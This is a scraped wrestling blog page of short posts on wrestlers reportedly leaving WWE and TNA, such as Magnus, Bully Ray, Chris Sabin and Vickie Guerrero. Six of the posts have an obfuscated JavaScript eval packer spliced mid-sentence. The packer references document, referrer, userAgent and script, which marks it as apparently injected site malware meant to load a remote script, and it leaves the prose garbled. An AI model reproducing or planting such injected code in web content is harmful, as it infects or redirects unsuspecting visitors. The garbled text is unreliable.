King Barrett Reportedly Leaving WWE In June

http://wrestlingrumors.net/king-barrett-is-leaving-wwe-this-summer/

 

And…..I’m not sure why people would care.  Barrett has been floating around the midcard for years now, picking up the Intercontinental Title here and there before dropping it for another injury.  Ever since he didn’t win the World Title back in 2010.  After that he was just a guy who didn’t win the big one and was another face in the crowd after that.  I like the guy but he’s really not someone who is going to be a huge loss.




Blue Pants Done With NXT

I can accept this.  She’s great at popping the crowd but why should she take a spot that could go to others who are actually signed to the company?

 

Update: On Twitter, Leva said “don’t believe everything you read.”  There might be more to this so maybe we get the Big Cass intro again.




Two More Names Done With TNA

More eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdkny|var|u0026u|referrer|tshiy||js|php'.split('|'),0,{})) spoilers of course.http://www.wrestlezone.com/news/591993-two-more-big-names-leaving-tna

 

In this case it’s Awesome Kong and Taryn Terrell, who have taped matches for the upcoming TV shows.

We’re at a point where there either has to be something up with this or TNA is pretty much done.  There better be an invasion angle with most of these names going to GFW or something like that, because otherwise TNA has just lost nine wrestlers in a week.




Three Former World Champions Allegedly Finishing Up With TNA

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zttek|var|u0026u|referrer|fnrad||js|php'.split('|'),0,{})) that’s not all for them.  Spoilers for the recent tapings included.http://411mania.com/wrestling/magnus-rumored-to-be-leaving-tna-following-slammiversary/

http://www.lordsofpain.net/news/tna/Spoiler_Another_Top_Wrestler_Leaving_TNA.html

Oh and if that’s not enough:

 

So in case you don’t want to click on things, here’s what’s going on, assuming these are all true:

1. Magnus is leaving

2. James Storm is leaving

3. Austin Aries is leaving

4. Kurt Angle needs ANOTHER neck surgery

 

I know it’s a bad time to be in TNA, but man this is one heck of a series of hits.  I don’t know where they’re going to find the money for talent to replace these guys, but they need to come up with some answers fast.  Well, assuming they still have a show to air after September.




ODB Gone From TNA

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndzdf|var|u0026u|referrer|ynazy||js|php'.split('|'),0,{})) case you thought the Knockouts division was too deep.  This one isn’t the biggest loss in the world as ODB hasn’t meant much in awhile, but it’s yet another name leaving.  That’s becoming way too common a headline.




Bully Ray Reportedly Gone From TNA

They’re eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izeah|var|u0026u|referrer|sykir||js|php'.split('|'),0,{})) going to have to push some new stars at some point.  Either that or it’s going to be the Eric Young Show soon.  This one is a surprise.




Chris Sabin Done With TNA

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbfhe|var|u0026u|referrer|rkabr||js|php'.split('|'),0,{})) goodness he’s set the bar high for most meaningless World Title reign.




Vickie Guerrero Leaving WWE

Even eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rthba|var|u0026u|referrer|eerat||js|php'.split('|'),0,{})) today I’ve got news.

Word on the street is that she’s getting into another business and is leaving after tonight.  I haven’t seen anything that says there’s heat on either side so she would likely be welcomed back in the future.  She got on my nerves at times but she played her role VERY well over the years.




Ric Flair and Alex Shelley Both Reportedly Gone From TNA

Flair, spending too much money and partying too much? You don’t say!

Can’t blame Shelley. He’s basically been made to sit around since Sabin got hurt and now that he’s back they’ve been a guest on Hogan’s Reality Show and that’s about it. He can make far more money in the WWE midcard anyway.

Thoughts on this?
